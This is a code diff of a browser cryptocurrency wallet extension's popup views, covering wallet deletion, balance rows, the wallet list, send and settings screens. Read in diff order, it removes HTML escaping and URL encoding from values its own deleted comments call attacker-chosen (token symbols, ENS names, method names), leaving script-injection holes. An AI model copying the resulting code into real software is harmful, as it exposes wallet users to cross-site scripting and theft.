goBack();
|
||||
});
|
||||
|
||||
// The escape hatch, and deliberately not gated on anything a user who
|
||||
// has lost the password cannot produce. A password in front of
|
||||
// DISCARDING a secret protects nobody: an attacker at the popup who
|
||||
// wants the wallet gone can uninstall the extension, so the only
|
||||
// person such a gate stops is the owner who forgot it — and before
|
||||
// this route existed that owner could neither delete the wallet nor
|
||||
// import its recovery phrase again, because AddWallet refuses the xpub
|
||||
// as a duplicate while the wallet is still stored.
|
||||
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
|
||||
showLostPassword();
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
|
||||
const walletIdx = lostPasswordIndex;
|
||||
if (walletIdx === null) {
|
||||
goBack();
|
||||
return;
|
||||
}
|
||||
show(walletIdx);
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
|
||||
if (lostPasswordIndex === null) {
|
||||
$("delete-wallet-lost-flash").textContent =
|
||||
"No wallet selected for deletion.";
|
||||
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||
return;
|
||||
}
|
||||
|
||||
// Case, surrounding spaces and repeated inner spaces are not part
|
||||
// of the confirmation; see confirmKey(). This asks whether the
|
||||
// user knows which wallet they are on; it is not a secret, and
|
||||
// refusing "wallet 2" for "Wallet 2" would only teach the user to
|
||||
// distrust the control.
|
||||
const typed = $("delete-wallet-lost-name-input").value;
|
||||
const expected = displayName(lostPasswordIndex);
|
||||
if (confirmKey(typed) !== confirmKey(expected)) {
|
||||
$("delete-wallet-lost-flash").textContent =
|
||||
"That is not the name of this wallet. Type " +
|
||||
expected +
|
||||
" to confirm.";
|
||||
$("delete-wallet-lost-flash").style.visibility = "visible";
|
||||
return;
|
||||
}
|
||||
|
||||
const btn = $("btn-delete-wallet-lost-confirm");
|
||||
btn.disabled = true;
|
||||
btn.classList.add("text-muted");
|
||||
|
||||
// finishDelete() navigates, and the leave hook re-enables the
|
||||
// button and wipes the typed name on the way out.
|
||||
await finishDelete(lostPasswordIndex);
|
||||
});
|
||||
|
||||
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
|
||||
const pw = $("delete-wallet-password").value;
|
||||
if (!pw) {
|
||||
@@ -218,7 +73,7 @@ function init(_ctx) {
|
||||
// Verify password against the wallet's encrypted data
|
||||
try {
|
||||
await decryptWithPassword(wallet.encryptedSecret, pw);
|
||||
} catch {
|
||||
} catch (_e) {
|
||||
$("delete-wallet-flash").textContent =
|
||||
"That password is incorrect. Please try again.";
|
||||
$("delete-wallet-flash").style.visibility = "visible";
|
||||
@@ -227,7 +82,34 @@ function init(_ctx) {
|
||||
return;
|
||||
}
|
||||
|
||||
await finishDelete(walletIdx);
|
||||
// Remove the wallet and repair selection, permissions and hasWallet
|
||||
const { activeAddressChanged } = removeWalletFromState(
|
||||
state,
|
||||
walletIdx,
|
||||
);
|
||||
|
||||
deleteWalletIndex = null;
|
||||
|
||||
if (!state.hasWallet) {
|
||||
clearViewStack();
|
||||
await saveState();
|
||||
// Save before broadcasting: the background reads the active
|
||||
// address back out of storage to build accountsChanged.
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
showView("welcome");
|
||||
} else {
|
||||
await saveState();
|
||||
if (activeAddressChanged) broadcastActiveChanged();
|
||||
// Reset stack to [main] so Settings back goes home.
|
||||
// Use require() lazily to avoid circular dependency
|
||||
// (settings.js requires deleteWallet.js).
|
||||
clearViewStack();
|
||||
state.viewStack.push("main");
|
||||
ctx.renderWalletList();
|
||||
const settings = require("./settings");
|
||||
settings.show();
|
||||
showFlash("Wallet deleted.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -112,7 +112,7 @@ function show(walletIdx, addrIdx) {
|
||||
async function reveal() {
|
||||
const password = $("export-privkey-password").value;
|
||||
if (!password) {
|
||||
fail("Please enter your password.");
|
||||
fail("Password is required.");
|
||||
return;
|
||||
}
|
||||
if (walletIndex === null) {
|
||||
|
||||
@@ -1,23 +1,12 @@
|
||||
// Shared DOM helpers used by all views.
|
||||
//
|
||||
// Escaping rule for every view in this directory, since they all build
|
||||
// markup by concatenation: any VALUE interpolated into an innerHTML string
|
||||
// goes through escapeHtml(), whatever its provenance looks like today. The
|
||||
// only interpolations left bare are markup FRAGMENTS this code just built
|
||||
// (a rendered dot, an icon, a composed row), which escaping would turn into
|
||||
// visible angle brackets, and locally computed numbers and loop indices.
|
||||
// The distinction is meant to be greppable: an unescaped `${` next to a
|
||||
// name that reads like data is a defect.
|
||||
|
||||
// escapeHtml lives in src/shared/html.js, where the escape and the
|
||||
// reasoning behind it are; it is re-exported below so views keep importing
|
||||
// it from here.
|
||||
const { escapeHtml } = require("../../shared/html");
|
||||
const { isDebug } = require("../../shared/log");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
const {
|
||||
formatUsd,
|
||||
getPrice,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const { displaySymbol } = require("../../shared/symbolDisplay");
|
||||
const { markViewRendered } = require("../viewRouter");
|
||||
|
||||
// When views are added, removed, or transitions between them change,
|
||||
// update the view-navigation documentation in README.md to match.
|
||||
@@ -36,7 +25,6 @@ const VIEWS = [
|
||||
"add-token",
|
||||
"settings",
|
||||
"delete-wallet-confirm",
|
||||
"delete-wallet-lost-password",
|
||||
"delete-address-confirm",
|
||||
"settings-addtoken",
|
||||
"transaction",
|
||||
@@ -45,11 +33,6 @@ const VIEWS = [
|
||||
"approve-sign",
|
||||
"export-privkey",
|
||||
"show-phrase",
|
||||
// Shown by src/popup/views/stateRecovery.js when the stored profile
|
||||
// cannot be read. It is never reached through showView() — by then the
|
||||
// state singleton this file writes on every navigation refuses to be read
|
||||
// — but it is listed so that every view-hiding loop covers it.
|
||||
"state-recovery",
|
||||
];
|
||||
|
||||
// Cleanup callbacks for views that hold a secret in the DOM. The view
|
||||
@@ -93,10 +76,6 @@ function showView(name) {
|
||||
}
|
||||
clearFlash();
|
||||
state.currentView = name;
|
||||
// A view's show() ends here, so this is where the Back path learns the
|
||||
// view is no longer the blank template from index.html and must not be
|
||||
// rendered a second time. See viewRouter.js.
|
||||
markViewRendered(name);
|
||||
saveState();
|
||||
updateDebugBanner(name);
|
||||
}
|
||||
@@ -132,51 +111,12 @@ function updateDebugBanner(viewName) {
|
||||
}
|
||||
}
|
||||
|
||||
// The banner shown when a save has failed, registered as the save-failure
|
||||
// reporter by src/popup/index.js.
|
||||
//
|
||||
// Persistent and not dismissable, unlike showFlash(): what it says is true
|
||||
// until the popup is closed, and a message that clears itself after two seconds
|
||||
// is how the user goes on operating a wallet that is persisting nothing
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/362). It survives navigation
|
||||
// because it hangs off document.body rather than off a view.
|
||||
//
|
||||
// Created on demand rather than authored in index.html, the same way
|
||||
// updateDebugBanner() creates its own: it is absent from a popup where nothing
|
||||
// has failed, which is the state that must not need markup to be in.
|
||||
//
|
||||
// textContent, never innerHTML: `detail` carries an error message, which may
|
||||
// come from the browser's storage layer.
|
||||
function showSaveFailureBanner(detail) {
|
||||
let banner = document.getElementById("save-failure-banner");
|
||||
if (!banner) {
|
||||
banner = document.createElement("div");
|
||||
banner.id = "save-failure-banner";
|
||||
banner.style.cssText =
|
||||
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:2px 4px;font-family:monospace;position:sticky;top:0;z-index:10000;";
|
||||
document.body.prepend(banner);
|
||||
}
|
||||
const message = (detail && (detail.message || detail.problem)) || detail;
|
||||
banner.textContent =
|
||||
"NOT SAVED — AutistMask could not write to storage, so recent" +
|
||||
" changes are not stored. Close and reopen the popup; if this keeps" +
|
||||
" happening, do not rely on anything you change now." +
|
||||
(message ? " (" + String(message) + ")" : "");
|
||||
}
|
||||
// Callback to re-render the main/home view when navigating back to it.
|
||||
// Set once by index.js via setRenderMain().
|
||||
let _renderMain = null;
|
||||
|
||||
// Callback that renders a view being navigated BACK onto. Set once by
|
||||
// index.js via setBackRenderer(), which routes the view through the same
|
||||
// per-view render and data guards restoreView() uses.
|
||||
//
|
||||
// It answers true when it took the navigation — the view is rendered and
|
||||
// shown, or its backing data was gone and it fell back — and false for a
|
||||
// view the popup does not render from persisted state. Those can only be
|
||||
// on the stack from this page load, because the stack is filtered on load,
|
||||
// so they have already been rendered and only need unhiding.
|
||||
let _renderBack = null;
|
||||
|
||||
function setBackRenderer(fn) {
|
||||
_renderBack = fn;
|
||||
function setRenderMain(fn) {
|
||||
_renderMain = fn;
|
||||
}
|
||||
|
||||
// Push the current view onto the navigation stack so goBack() can
|
||||
@@ -196,11 +136,9 @@ function goBack() {
|
||||
} else {
|
||||
target = "main";
|
||||
}
|
||||
// A popped view is landed on, not navigated to. If the popup has been
|
||||
// closed and reopened since the view was pushed, nothing has ever
|
||||
// rendered it in this page load and its template is still blank, so it
|
||||
// has to be rendered here rather than merely unhidden.
|
||||
if (_renderBack && _renderBack(target)) return;
|
||||
if (target === "main" && _renderMain) {
|
||||
_renderMain();
|
||||
}
|
||||
showView(target);
|
||||
}
|
||||
|
||||
@@ -229,44 +167,17 @@ function showFlash(msg, duration = 2000) {
|
||||
}, duration);
|
||||
}
|
||||
|
||||
// A stored token balance as a number, or null when there is no number in it.
|
||||
// balances.js writes null for a holding whose scale nothing knows, and this
|
||||
// keeps that null from becoming a zero one dereference later.
|
||||
function unknownableAmount(balance) {
|
||||
if (balance == null) return null;
|
||||
const n = parseFloat(balance);
|
||||
return Number.isFinite(n) ? n : null;
|
||||
}
|
||||
|
||||
// One row of the balance list: symbol, quantity, fiat value.
|
||||
//
|
||||
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
|
||||
// so it is attacker-chosen markup until it has been through escapeHtml, and
|
||||
// attacker-chosen length until it has been through displaySymbol. This is
|
||||
// the row that issue #307 was reported against: every screen that lists a
|
||||
// holding renders through here.
|
||||
//
|
||||
// `amount` is null for a holding whose scale nothing knows
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349). There is no quantity to
|
||||
// print for it and no fiat value to derive from one, and printing 0.0000 for
|
||||
// a real holding is the failure this whole rule exists to prevent, so the row
|
||||
// says so instead.
|
||||
function balanceLine(symbol, amount, price, tokenId) {
|
||||
const qty = amount === null ? "quantity unknown" : amount.toFixed(4);
|
||||
const usd =
|
||||
price && amount !== null
|
||||
? formatUsd(amount * price) || " "
|
||||
: " ";
|
||||
// tokenId is a contract address out of the same explorer JSON, and it
|
||||
// lands inside a quoted attribute.
|
||||
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
|
||||
const qty = amount.toFixed(4);
|
||||
const usd = price ? formatUsd(amount * price) || " " : " ";
|
||||
const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
|
||||
const clickClass = tokenId
|
||||
? " cursor-pointer hover:bg-hover balance-row"
|
||||
: "";
|
||||
return (
|
||||
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
|
||||
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
|
||||
`<span>${escapeHtml(displaySymbol(symbol))}</span>` +
|
||||
`<span>${symbol}</span>` +
|
||||
`<span>${qty}</span>` +
|
||||
`</span>` +
|
||||
`<span class="text-right text-muted flex-1">${usd}</span>` +
|
||||
@@ -283,12 +194,7 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
|
||||
);
|
||||
const seen = new Set();
|
||||
for (const t of addr.tokenBalances || []) {
|
||||
// A null balance is a holding of an unstatable amount, not a holding
|
||||
// of zero, so the show-zero setting has no say over it: hiding it
|
||||
// would be asserting the zero nobody established. Anything that does
|
||||
// not parse to a finite number is unknown for the same reason — the
|
||||
// `|| "0"` this replaced turned both into a confident zero.
|
||||
const bal = unknownableAmount(t.balance);
|
||||
const bal = parseFloat(t.balance || "0");
|
||||
if (bal === 0 && !showZero) continue;
|
||||
html += balanceLine(
|
||||
t.symbol,
|
||||
@@ -321,12 +227,7 @@ function addressHoldsFunds(addr) {
|
||||
if (!addr) return false;
|
||||
if (parseFloat(addr.balance || "0") > 0) return true;
|
||||
for (const t of addr.tokenBalances || []) {
|
||||
// A null balance is a holding whose amount could not be stated —
|
||||
// balances.js drops a row of zero base units before the scale is
|
||||
// consulted, so a row that survived with no quantity is holding
|
||||
// something. Warning about funds must err towards warning.
|
||||
const bal = unknownableAmount(t.balance);
|
||||
if (bal === null || bal > 0) return true;
|
||||
if (parseFloat(t.balance || "0") > 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -378,6 +279,12 @@ function addressDotHtml(address) {
|
||||
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
|
||||
}
|
||||
|
||||
function escapeHtml(s) {
|
||||
const div = document.createElement("div");
|
||||
div.textContent = s;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
// Look up an address across all wallets and return its title
|
||||
// (e.g. "Address 1.2") or null if it's not one of ours.
|
||||
function addressTitle(address, wallets) {
|
||||
@@ -465,26 +372,13 @@ const EXT_ICON =
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
// Block-explorer URLs. The origin is a per-network constant from
|
||||
// src/shared/networks.js; only the path segment is data, and it comes out
|
||||
// of explorer JSON (a transaction's from/to, a token's address_hash), which
|
||||
// nothing upstream validates as hex. percent-encoding it keeps a segment
|
||||
// that contains a slash, a query or a fragment from re-pointing the link
|
||||
// somewhere else in the explorer.
|
||||
function explorerUrl(kind, value) {
|
||||
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
|
||||
}
|
||||
|
||||
function etherscanAddressUrl(address) {
|
||||
return explorerUrl("address", address);
|
||||
return `${currentNetwork().explorerUrl}/address/${address}`;
|
||||
}
|
||||
|
||||
// The URL still has to be escaped on the way into href="...": encoding
|
||||
// governs what the URL means, escaping governs whether it stays inside the
|
||||
// attribute.
|
||||
function etherscanLinkHtml(url) {
|
||||
return (
|
||||
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
|
||||
`<a href="${url}" target="_blank" rel="noopener" ` +
|
||||
`class="inline-flex items-center">${EXT_ICON}</a>`
|
||||
);
|
||||
}
|
||||
@@ -576,8 +470,7 @@ module.exports = {
|
||||
showView,
|
||||
onViewLeave,
|
||||
updateDebugBanner,
|
||||
showSaveFailureBanner,
|
||||
setBackRenderer,
|
||||
setRenderMain,
|
||||
pushCurrentView,
|
||||
goBack,
|
||||
clearViewStack,
|
||||
@@ -586,11 +479,9 @@ module.exports = {
|
||||
balanceLine,
|
||||
balanceLinesForAddress,
|
||||
addressHoldsFunds,
|
||||
unknownableAmount,
|
||||
addressColor,
|
||||
addressDotHtml,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
addressTitle,
|
||||
formatAddressHtml,
|
||||
renderAddressHtml,
|
||||
@@ -598,7 +489,6 @@ module.exports = {
|
||||
attachCopyHandlers,
|
||||
etherscanAddressUrl,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
EXT_ICON,
|
||||
truncateMiddle,
|
||||
isoDate,
|
||||
|
||||
@@ -2,20 +2,19 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
balanceLinesForAddress,
|
||||
isoDate,
|
||||
timeAgo,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState, currentAddress } = require("../../shared/state");
|
||||
const { notify } = require("../../shared/browserApi");
|
||||
const {
|
||||
updateSendBalance,
|
||||
renderSendTokenSelect,
|
||||
@@ -29,9 +28,8 @@ const {
|
||||
} = require("../../shared/walletDefects");
|
||||
const {
|
||||
formatUsd,
|
||||
formatAddressTotal,
|
||||
getPrice,
|
||||
getAddressValue,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
@@ -73,7 +71,9 @@ function renderTotalValue() {
|
||||
el.textContent = ethStr + ethUsd;
|
||||
|
||||
if (subEl) {
|
||||
subEl.innerHTML = formatAddressTotal(getAddressValue(addr)) || " ";
|
||||
const totalUsd = getAddressValueUsd(addr);
|
||||
subEl.innerHTML =
|
||||
totalUsd !== null ? "Total: " + formatUsd(totalUsd) : " ";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -110,13 +110,10 @@ function renderHomeTxList(ctx) {
|
||||
: tx.direction === "sent" || tx.direction === "contract"
|
||||
? tx.to
|
||||
: tx.from;
|
||||
// directionLabel is the explorer's own method name for a contract
|
||||
// call, title-cased — attacker-chosen for an attacker's contract.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
|
||||
: escapeHtml(tx.symbol);
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -230,7 +227,7 @@ function walletListHtml() {
|
||||
const defect = walletDefect(wallet);
|
||||
html += `<div>`;
|
||||
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
|
||||
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
|
||||
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
|
||||
// No "+" on a defective wallet: deriving another address from that
|
||||
// xpub would only add one more address the key does not produce
|
||||
// under the standard path.
|
||||
@@ -254,17 +251,14 @@ function walletListHtml() {
|
||||
const titleBold = isActive ? "font-bold" : "";
|
||||
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
|
||||
if (addr.ensName) {
|
||||
// An ENS reverse record is whatever the name owner set it
|
||||
// to; renderAddressHtml() escapes its own copy of this and
|
||||
// this list was the one that did not.
|
||||
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
|
||||
html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
|
||||
}
|
||||
html += `<div class="flex text-xs items-center justify-between">`;
|
||||
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
|
||||
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
|
||||
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
|
||||
html += `</div>`;
|
||||
const addrTotal = formatAddressTotal(getAddressValue(addr));
|
||||
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrTotal || " "}</div>`;
|
||||
const addrUsd = formatUsd(getAddressValueUsd(addr));
|
||||
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrUsd || " "}</div>`;
|
||||
html += balanceLinesForAddress(
|
||||
addr,
|
||||
state.trackedTokens,
|
||||
@@ -299,7 +293,11 @@ function render(ctx) {
|
||||
state.activeAddress = addr;
|
||||
await saveState();
|
||||
render(ctx);
|
||||
notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
const runtime =
|
||||
typeof browser !== "undefined"
|
||||
? browser.runtime
|
||||
: chrome.runtime;
|
||||
runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,7 +5,6 @@ const {
|
||||
flashCopyFeedback,
|
||||
formatAddressHtml,
|
||||
addressTitle,
|
||||
displaySymbol,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
} = require("./helpers");
|
||||
@@ -45,7 +44,7 @@ function show() {
|
||||
}
|
||||
warningEl.textContent =
|
||||
"This is an ERC-20 token. Only send " +
|
||||
displaySymbol(symbol) +
|
||||
symbol +
|
||||
" on " +
|
||||
currentNetwork().name +
|
||||
" to this address. Sending tokens on other networks will result in permanent loss.";
|
||||
@@ -58,7 +57,7 @@ function show() {
|
||||
attachCopyHandlers("view-receive");
|
||||
}
|
||||
|
||||
function init(_ctx) {
|
||||
function init(ctx) {
|
||||
$("btn-receive-copy").addEventListener("click", () => {
|
||||
const addr = $("receive-address-block").dataset.full;
|
||||
if (addr) {
|
||||
|
||||
@@ -4,7 +4,7 @@ const {
|
||||
$,
|
||||
showFlash,
|
||||
addressTitle,
|
||||
displaySymbol,
|
||||
escapeHtml,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
@@ -12,7 +12,6 @@ const {
|
||||
const { state, currentAddress } = require("../../shared/state");
|
||||
let ctx;
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const { resolveTokenDecimals } = require("../../shared/approvalAmount");
|
||||
const { resolveSymbol } = require("../../shared/tokenList");
|
||||
const { isLowHolderCount } = require("../../shared/holders");
|
||||
const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
|
||||
@@ -133,7 +132,7 @@ function renderSendTokenSelect(addr) {
|
||||
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
|
||||
const opt = document.createElement("option");
|
||||
opt.value = t.address;
|
||||
opt.textContent = displaySymbol(t.symbol);
|
||||
opt.textContent = t.symbol;
|
||||
sel.appendChild(opt);
|
||||
}
|
||||
}
|
||||
@@ -160,14 +159,9 @@ function updateSendBalance() {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// A null balance is a holding whose scale nothing knows. Saying "0"
|
||||
// for it would be a claim about the amount; the send itself is
|
||||
// refused later by transferAmountUnits() for the same missing scale.
|
||||
const bal = tb ? tb.balance : "0";
|
||||
const bal = tb ? tb.balance || "0" : "0";
|
||||
$("send-balance").textContent =
|
||||
bal == null
|
||||
? "Current balance: unknown (" + symbol + ")"
|
||||
: "Current balance: " + bal + " " + symbol;
|
||||
"Current balance: " + bal + " " + symbol;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -208,7 +202,7 @@ function init(_ctx) {
|
||||
let ensName = null;
|
||||
if (to.includes(".") && !to.startsWith("0x")) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const resolved = await provider.resolveName(to);
|
||||
if (!resolved) {
|
||||
showFlash("Could not resolve " + to);
|
||||
@@ -216,7 +210,7 @@ function init(_ctx) {
|
||||
}
|
||||
resolvedTo = resolved;
|
||||
ensName = to;
|
||||
} catch {
|
||||
} catch (e) {
|
||||
showFlash("Failed to resolve ENS name.");
|
||||
return;
|
||||
}
|
||||
@@ -227,11 +221,6 @@ function init(_ctx) {
|
||||
|
||||
let tokenSymbol = null;
|
||||
let tokenBalance = null;
|
||||
// The scale the amount and the balance below are rendered at, carried
|
||||
// forward so the transfer is encoded with the number the user read
|
||||
// rather than with whatever the contract answers at signing time. See
|
||||
// src/shared/transferAmount.js.
|
||||
let tokenDecimals = null;
|
||||
if (token !== "ETH") {
|
||||
const tb = (addr.tokenBalances || []).find(
|
||||
(t) => t.address.toLowerCase() === token.toLowerCase(),
|
||||
@@ -241,45 +230,7 @@ function init(_ctx) {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// null carried through rather than flattened to "0": the confirm
|
||||
// screen states an unknown balance as unknown, and
|
||||
// validateTransfer() treats it as no balance to spend from, which
|
||||
// is the fail-closed side of an amount nobody can check.
|
||||
tokenBalance = tb ? (tb.balance ?? null) : "0";
|
||||
// Resolved the same way balances.js resolved the scale it
|
||||
// DISPLAYED this token's balance at: bundled list, then the user's
|
||||
// tracked tokens, then the explorer. The stored
|
||||
// tokenBalances[].decimals is the explorer's own answer alone, so
|
||||
// reading it raw carries a null forward for a token the wallet
|
||||
// does know the scale of — and displayedDecimals() then throws
|
||||
// inside estimateGas(), which the confirmation screen reports as
|
||||
// an unestimable fee. Unsendable, over a scale that was never in
|
||||
// doubt (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
// Still null when nothing knows: no fallback.
|
||||
//
|
||||
// Resolved WITH `wallets`, which balances.js does not pass: that
|
||||
// adds explorerDecimals()'s cross-address check, so a contract two
|
||||
// addresses report different scales for answers null rather than
|
||||
// picking one. That check has to apply here, because this value
|
||||
// encodes a transfer; balances.js is formatting one explorer row
|
||||
// at fetch time and cannot consult a state it is in the middle of
|
||||
// replacing.
|
||||
tokenDecimals = resolveTokenDecimals(token, {
|
||||
trackedTokens: state.trackedTokens,
|
||||
wallets: state.wallets,
|
||||
});
|
||||
// The two resolutions can therefore differ, and where they do, the
|
||||
// stored `balance` is a quantity computed at a scale this screen
|
||||
// has just declined to stand behind. Stating it would leave
|
||||
// validateTransfer() checking the amount against a number the
|
||||
// wallet does not vouch for, and — since the unknown-balance path
|
||||
// is gated on the balance, not on the scale — would leave the
|
||||
// fee-estimate failure as the only thing on the confirmation
|
||||
// screen, which says nothing about decimals. Unknown scale means
|
||||
// unknown balance. Only a stored quantity is withdrawn: the "0"
|
||||
// for a token that has no row at all is an absence of holdings,
|
||||
// which is true at every scale.
|
||||
if (tb && tokenDecimals === null) tokenBalance = null;
|
||||
tokenBalance = tb ? tb.balance || "0" : "0";
|
||||
}
|
||||
|
||||
ctx.showConfirmTx({
|
||||
@@ -291,7 +242,6 @@ function init(_ctx) {
|
||||
balance: addr.balance,
|
||||
tokenSymbol: tokenSymbol,
|
||||
tokenBalance: tokenBalance,
|
||||
tokenDecimals: tokenDecimals,
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@ const {
|
||||
updateDebugBanner,
|
||||
showFlash,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
flashCopyFeedback,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
@@ -15,6 +14,7 @@ const {
|
||||
parseDustThresholdGwei,
|
||||
} = require("../dustThreshold");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const { NETWORKS, SUPPORTED_CHAIN_IDS } = require("../../shared/networks");
|
||||
const { onChainSwitch } = require("../../shared/chainSwitch");
|
||||
const { log, debugFetch, setRuntimeDebug } = require("../../shared/log");
|
||||
const deleteWallet = require("./deleteWallet");
|
||||
@@ -29,7 +29,8 @@ const {
|
||||
GITEA_COMMIT_URL,
|
||||
} = require("../../shared/buildInfo");
|
||||
|
||||
const { notify } = require("../../shared/browserApi");
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
let versionClickCount = 0;
|
||||
let versionClickTimer = null;
|
||||
@@ -44,11 +45,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
|
||||
let html = "";
|
||||
hostnames.forEach((hostname) => {
|
||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||
// A hostname the URL parser produced cannot carry a delimiter, so
|
||||
// this is escaped for the rule rather than for a known hole — the
|
||||
// rule being that nothing reaches innerHTML unescaped.
|
||||
html += `<span>${escapeHtml(hostname)}</span>`;
|
||||
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
|
||||
html += `<span>${hostname}</span>`;
|
||||
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
|
||||
html += `</div>`;
|
||||
});
|
||||
container.innerHTML = html;
|
||||
@@ -63,7 +61,7 @@ function renderSiteList(containerId, siteMap, stateKey) {
|
||||
}
|
||||
}
|
||||
await saveState();
|
||||
notify({ type: "AUTISTMASK_REMOVE_SITE" });
|
||||
runtime.sendMessage({ type: "AUTISTMASK_REMOVE_SITE" });
|
||||
renderSiteList(containerId, state[key], key);
|
||||
});
|
||||
});
|
||||
@@ -77,10 +75,9 @@ function renderTrackedTokens() {
|
||||
}
|
||||
let html = "";
|
||||
state.trackedTokens.forEach((token, idx) => {
|
||||
const sym = escapeHtml(displaySymbol(token.symbol));
|
||||
const label = token.name
|
||||
? escapeHtml(token.name) + " (" + sym + ")"
|
||||
: sym;
|
||||
? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
|
||||
: escapeHtml(token.symbol);
|
||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||
html += `<span>${label}</span>`;
|
||||
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
|
||||
@@ -172,7 +169,10 @@ function renderWalletListSettings() {
|
||||
function show() {
|
||||
$("settings-rpc").value = state.rpcUrl;
|
||||
$("settings-blockscout").value = state.blockscoutUrl;
|
||||
$("settings-network").value = state.networkId;
|
||||
const networkSelect = $("settings-network");
|
||||
if (networkSelect) {
|
||||
networkSelect.value = state.networkId;
|
||||
}
|
||||
renderTrackedTokens();
|
||||
renderSiteLists();
|
||||
renderWalletListSettings();
|
||||
@@ -284,13 +284,15 @@ function init(ctx) {
|
||||
});
|
||||
|
||||
const networkSelect = $("settings-network");
|
||||
networkSelect.addEventListener("change", async () => {
|
||||
const newId = networkSelect.value;
|
||||
